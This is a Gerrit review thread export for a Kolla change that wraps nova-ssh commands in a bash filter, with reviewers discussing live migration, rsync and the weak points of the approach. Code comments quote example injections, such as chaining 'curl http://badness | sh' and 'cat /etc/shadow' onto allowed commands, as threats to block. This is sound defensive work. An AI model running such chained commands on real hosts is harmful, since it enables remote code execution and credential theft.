)]}'
{"/COMMIT_MSG":[{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":true,"context_lines":[{"line_number":6,"context_line":""},{"line_number":7,"context_line":"Add some sanity to nova-ssh commands"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Nova-ssh is used via the remotefs calls in nova.  This method implements"},{"line_number":10,"context_line":"bascially 4 commands.  To limit the security risk of allowing password"},{"line_number":11,"context_line":"less ssh access between compute nodes for remotefs puproses we should do"},{"line_number":12,"context_line":"sanity checking of the commands that are coming though ssh."}],"source_content_type":"text/x-gerrit-commit-message","patch_set":5,"id":"7566ac66_7439bdb7","line":9,"updated":"2023-01-04 12:45:50.000000000","message":"nova-ssh is not primarially for remotefs\n\nit is there to provide a secondary ssh server for live migration so that libvirt/qemu data can be tunneled over ssh.\n\nin more recent releases kolla support native tls with libvirt \nhttps://github.com/openstack/kolla-ansible/blob/master/doc/source/reference/compute/libvirt-guide.rst#libvirt-tls\n\nhowever in the absence of that the nova ssh container is present to provide a seconday ssh server that has keys exchanged so that the qemu instance can comunicate using netcat or the virt-ssh-helper to tunnels the unix socket data.","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"},{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":true,"context_lines":[{"line_number":14,"context_line":"In practice we only need to implement touch, rm, scp and mkdir.  So we"},{"line_number":15,"context_line":"have created a wrapper that will only allow these commands to run and"},{"line_number":16,"context_line":"attempts to \"defang\" options passed to them as well."},{"line_number":17,"context_line":""},{"line_number":18,"context_line":"Change-Id: Icd7049eea8d558ee41e2061189002ef6440f4f4f"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":5,"id":"dda8d79d_f284c320","line":17,"updated":"2023-01-04 12:45:50.000000000","message":"has this been tested with the rsync remote fs driver.\n\nnova has two remotefs drivers one based on rsync and the other based on ssh\n\nhttps://github.com/openstack/nova/blob/5d66c8963418e34e0643147215ca70bb2d857545/nova/virt/libvirt/volume/remotefs.py#L200","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"}],"/PATCHSET_LEVEL":[{"author":{"_account_id":22629,"name":"Michal Nasiadka","email":"mnasiadka@gmail.com","username":"mnasiadka"},"change_message_id":"24353f0146e530abd20514c4d1e7842378122079","unresolved":false,"context_lines":[],"source_content_type":"","patch_set":5,"id":"595d7bad_1a61259f","updated":"2021-12-16 11:15:32.000000000","message":"Is that still required?","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"},{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":false,"context_lines":[],"source_content_type":"","patch_set":5,"id":"0c40dfb5_df990ac0","updated":"2023-01-04 12:45:50.000000000","message":"we have a similar script in rdo which is not maintained by the nova team and reluctantly supported by redhats compute team\nhttps://github.com/rdo-packages/nova-distgit/blob/rpm-master/nova-migration-wrapper\n\nwe would remove it if we were allowed as ocationally changes to libvirt break compatiblity.\n\nif kolla was to proceed with this chnage it would take on the responciblity of ensuring the wrapper conitnues to work going forward which may or may not be something you want to do.\n\nin general the securit model of openstack is such that if you cant trust those who have ssh access to the host systems you cant trust the cloud.\n\nthis might improve security in a limited way but there isnt a vector from nova to allow any kind of user input to be passed to the ssh command so in practice this is not closeing any security vuldernablity that exists form an openstack level.\n\nif the ssh private keys that are generatd for each host are leaked this might reduce the impact of someone using that key but honestly im not sure how useful this is to add vs providing it as a template override example that some one can implement themselves fi desired.\n","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"}],"docker/nova/nova-ssh/remote_fs":[{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":true,"context_lines":[{"line_number":2,"context_line":""},{"line_number":3,"context_line":"date\u003d$(date)"},{"line_number":4,"context_line":"defang(){"},{"line_number":5,"context_line":"  # remotefs in nova never uses multiple commands, if/for/while/do statements,"},{"line_number":6,"context_line":"  # \u0026\u0026 or || operations, or env vars.  It always passes fully formed single"},{"line_number":7,"context_line":"  # commands. So run through the many different ways in which people could"},{"line_number":8,"context_line":"  # possibly execute additional commands besides the very first allowed"}],"source_content_type":"application/x-shellscript","patch_set":5,"id":"16db1014_855953ab","line":5,"updated":"2023-01-04 12:45:50.000000000","message":"this assuming it is true is an internal implementtion detail of how it currently works and not an api contract. nova is free to chnage that if we wanted too without notice. with that said i dont think it would be likely that we would change it.\n\nif we did however it wold not be a bug in nova if this wrapper broke it would be a kolla bug at that point.","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"},{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":true,"context_lines":[{"line_number":11,"context_line":"  #  touch asdf \u0026\u0026 curl http://badness | sh"},{"line_number":12,"context_line":"  #  mkdir /bad/path || cat /etc/shadow"},{"line_number":13,"context_line":"  #  touch asdf; echo \"stuff to allow passwd\" \u003e\u003e /etc/nova/rootwrap.conf;"},{"line_number":14,"context_line":"  #   nova-rootwrap /etc/nova/rootwrap.conf passwd nova \u003c \"password /n password\""},{"line_number":15,"context_line":"    SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027;\u0027.*//)"},{"line_number":16,"context_line":"    SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027\u0026\u0027.*//)"},{"line_number":17,"context_line":"    SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027|\u0027.*//)"}],"source_content_type":"application/x-shellscript","patch_set":5,"id":"765d43cd_25f3da61","line":14,"updated":"2023-01-04 12:45:50.000000000","message":"nova does not really use rootwap anymore. the rootwap profile nova has is just for os-brick we do not use rootwrap for nova itself.\n\nhttps://github.com/openstack/nova/blob/master/etc/nova/rootwrap.d/compute.filters\n\nthis is the rootwap config we ship today which only allows the privsep deamon to run\nsince rootwrap is deprecated building new code on that infrastructure is generally not recommended.","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"},{"author":{"_account_id":11604,"name":"sean mooney","email":"smooney@redhat.com","username":"sean-k-mooney"},"change_message_id":"26f89a1e6125c22141f2f52f4d7f4e79a77e571d","unresolved":true,"context_lines":[{"line_number":41,"context_line":"    \"mkdir\")"},{"line_number":42,"context_line":"        eval \"$@\""},{"line_number":43,"context_line":"        ;;"},{"line_number":44,"context_line":"    *)"},{"line_number":45,"context_line":"        echo \"$date - invalid remotefs command found: $SSH_ORIGINAL_COMMAND\" \u003e\u003e /var/log/kolla/nova/nova-ssh.log"},{"line_number":46,"context_line":"        exit 2"},{"line_number":47,"context_line":"        ;;"}],"source_content_type":"application/x-shellscript","patch_set":5,"id":"265bbe48_d01ef643","line":44,"updated":"2023-01-04 12:45:50.000000000","message":"im pretty sure we use chown for the vtpm data and we may also use daxio for pmem/nvdimm support its possibel we dont actullly chown the vtpm data via ssh and do that instead via the compute agent in the dest but not sure about that…\n\nlater\n—————\nit looks like we chown the vtpm data seperatly but we do use rsync for the rsync driver which i think can tunnel over ssh. \n\nhttps://github.com/openstack/nova/blob/5d66c8963418e34e0643147215ca70bb2d857545/nova/virt/libvirt/volume/remotefs.py#L200\n\nso you proably at least want to test that before considring this.\n\nnc and virt-ssh-helper also likely need to be in the list.","commit_id":"e86f93bcf4212a403d6a75666a137810acdd1aaf"}],"docker/nova/nova-ssh/remote_fs.sh":[{"author":{"_account_id":14826,"name":"Mark Goddard","email":"markgoddard86@gmail.com","username":"mgoddard"},"change_message_id":"e14affabe4b022a38fe77985858518bd9e8d8fc0","unresolved":false,"context_lines":[{"line_number":1,"context_line":"#!/bin/bash"},{"line_number":2,"context_line":""},{"line_number":3,"context_line":"date\u003d$(date)"},{"line_number":4,"context_line":"defang(){"},{"line_number":5,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027;\u0027.*//)"},{"line_number":6,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027\u0026\u0027.*//)"},{"line_number":7,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027|\u0027.*//)"}],"source_content_type":"text/x-sh","patch_set":2,"id":"5fc1f717_baa26dac","line":4,"range":{"start_line":4,"start_character":0,"end_line":4,"end_character":6},"updated":"2019-04-03 08:41:59.000000000","message":"Is there a way we could just execute the command passed without a shell? Perhaps if we wrote this in python and used subprocess?","commit_id":"b04f26be924d60dd3bb4b40183ca276acdf61f39"},{"author":{"_account_id":14826,"name":"Mark Goddard","email":"markgoddard86@gmail.com","username":"mgoddard"},"change_message_id":"490a788da5f70df1de5593dfc269bf23ddf4bdaa","unresolved":false,"context_lines":[{"line_number":1,"context_line":"#!/bin/bash"},{"line_number":2,"context_line":""},{"line_number":3,"context_line":"date\u003d$(date)"},{"line_number":4,"context_line":"defang(){"},{"line_number":5,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027;\u0027.*//)"},{"line_number":6,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027\u0026\u0027.*//)"},{"line_number":7,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027|\u0027.*//)"}],"source_content_type":"text/x-sh","patch_set":2,"id":"5fc1f717_ac753fce","line":4,"range":{"start_line":4,"start_character":0,"end_line":4,"end_character":6},"in_reply_to":"5fc1f717_8d75eb34","updated":"2019-04-04 08:04:29.000000000","message":"I think the difference with a python subprocess is that you could run it without a shell, so you don\u0027t need to worry about special characters - they can only run a single command. If we happened to miss a special character here it could open up a hole. OTOH, if the command has one of these characters legitimately, e.g. in a weird fs path, we\u0027ll break it.","commit_id":"b04f26be924d60dd3bb4b40183ca276acdf61f39"},{"author":{"_account_id":9076,"name":"Kris Lindgren","email":"klindgren@godaddy.com","username":"klindgren"},"change_message_id":"621a049755cac0d123bb8dd311f9a53c2f414a0d","unresolved":false,"context_lines":[{"line_number":1,"context_line":"#!/bin/bash"},{"line_number":2,"context_line":""},{"line_number":3,"context_line":"date\u003d$(date)"},{"line_number":4,"context_line":"defang(){"},{"line_number":5,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027;\u0027.*//)"},{"line_number":6,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027\u0026\u0027.*//)"},{"line_number":7,"context_line":"  SSH_ORIGINAL_COMMAND\u003d$(echo \"$SSH_ORIGINAL_COMMAND\" | sed s/\u0027|\u0027.*//)"}],"source_content_type":"text/x-sh","patch_set":2,"id":"5fc1f717_8d75eb34","line":4,"range":{"start_line":4,"start_character":0,"end_line":4,"end_character":6},"in_reply_to":"5fc1f717_baa26dac","updated":"2019-04-03 20:12:37.000000000","message":"I am not really sure to be honest.  The idea was that if someone had gotten into the nova-ssh container, we are trying to prevent them from being able to move effortlessly across hv\u0027s.  So its possible that a crafty person could figure out what commands are allowed and simply get a passing first command but tack on all sorts of other possible things to do badness.  So we dont want to run just the original unfiltered command, assuming that the first command was ok, so the whole thing is ok.\n\nI assume similar gotchas will apply with python + subprocess.  I wasn\u0027t really able to find any examples of people doing this in python.  But bash/perl seemed to be the most widely used.","commit_id":"b04f26be924d60dd3bb4b40183ca276acdf61f39"},{"author":{"_account_id":14826,"name":"Mark Goddard","email":"markgoddard86@gmail.com","username":"mgoddard"},"change_message_id":"e14affabe4b022a38fe77985858518bd9e8d8fc0","unresolved":false,"context_lines":[{"line_number":14,"context_line":"  echo \"$date - Defanged command we are asked to run: $SSH_ORIGINAL_COMMAND\" \u003e\u003e /var/log/kolla/nova/nova-ssh.log"},{"line_number":15,"context_line":"}"},{"line_number":16,"context_line":"defang"},{"line_number":17,"context_line":"set -- $SSH_ORIGINAL_COMMAND"},{"line_number":18,"context_line":"case \"$1\" in"},{"line_number":19,"context_line":"  \"touch\")"},{"line_number":20,"context_line":"    eval \"$@\""}],"source_content_type":"text/x-sh","patch_set":2,"id":"5fc1f717_9a03f1be","line":17,"range":{"start_line":17,"start_character":0,"end_line":17,"end_character":28},"updated":"2019-04-03 08:41:59.000000000","message":"What does this command do? Maybe a comment to explain?","commit_id":"b04f26be924d60dd3bb4b40183ca276acdf61f39"},{"author":{"_account_id":9076,"name":"Kris Lindgren","email":"klindgren@godaddy.com","username":"klindgren"},"change_message_id":"621a049755cac0d123bb8dd311f9a53c2f414a0d","unresolved":false,"context_lines":[{"line_number":14,"context_line":"  echo \"$date - Defanged command we are asked to run: $SSH_ORIGINAL_COMMAND\" \u003e\u003e /var/log/kolla/nova/nova-ssh.log"},{"line_number":15,"context_line":"}"},{"line_number":16,"context_line":"defang"},{"line_number":17,"context_line":"set -- $SSH_ORIGINAL_COMMAND"},{"line_number":18,"context_line":"case \"$1\" in"},{"line_number":19,"context_line":"  \"touch\")"},{"line_number":20,"context_line":"    eval \"$@\""}],"source_content_type":"text/x-sh","patch_set":2,"id":"5fc1f717_ad70e741","line":17,"range":{"start_line":17,"start_character":0,"end_line":17,"end_character":28},"in_reply_to":"5fc1f717_9a03f1be","updated":"2019-04-03 20:12:37.000000000","message":"Done","commit_id":"b04f26be924d60dd3bb4b40183ca276acdf61f39"},{"author":{"_account_id":14826,"name":"Mark Goddard","email":"markgoddard86@gmail.com","username":"mgoddard"},"change_message_id":"490a788da5f70df1de5593dfc269bf23ddf4bdaa","unresolved":false,"context_lines":[{"line_number":6,"context_line":"  # \u0026\u0026 or || operations, or env vars.  It always passes fully formed single"},{"line_number":7,"context_line":"  # commands. So run through the many different ways in which people could"},{"line_number":8,"context_line":"  # possibly execute additional commands besides the very first allowed"},{"line_number":9,"context_line":"  # commands, IE try to prevent things like:"},{"line_number":10,"context_line":"  #  touch asdf; curl http://badness | sh"},{"line_number":11,"context_line":"  #  touch asdf \u0026\u0026 curl http://badness | sh"},{"line_number":12,"context_line":"  #  mkdir /bad/path || cat /etc/shadow"}],"source_content_type":"text/x-sh","patch_set":4,"id":"5fc1f717_8c016309","line":9,"updated":"2019-04-04 08:04:29.000000000","message":"Did you try these? I think they might need to make the command something like this to actually get a shell:\n\nssh \u003chost\u003e bash -c \u0027\u003ccommand\u003e\u0027\n\nI might be wrong there.","commit_id":"e43de5afc4a12a89bdd161c2053e9108cfd63e2e"}]}